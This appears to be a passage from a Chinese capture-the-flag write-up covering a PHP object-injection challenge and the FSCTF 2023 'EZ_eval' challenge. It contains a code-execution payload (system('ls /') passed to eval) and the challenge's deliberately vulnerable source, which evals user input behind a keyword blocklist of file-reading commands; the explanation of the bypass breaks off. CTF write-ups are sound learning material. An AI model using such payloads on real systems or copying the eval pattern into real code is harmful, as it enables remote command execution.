highlight_file(__FILE__);
}

这个一进去是源码,就三个类,理论上应该就是不难的
构造的时候,我发现了自己的问题,__call是方法,__get是变量
还有就是我要eval函数时,外面给了eval,我们需要这样赋值

1
2
eval($this->end);
$c->end = "system('ls /');";

这样拿到flag

[FSCTF 2023]EZ_eval

1分
RCE空格绕过WAF绕过
一进去,发现

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}

你看上面的这个,会再前面加上?>,然后就是后面的代码不会再当成php来执行了
过滤问号-

评论
  目录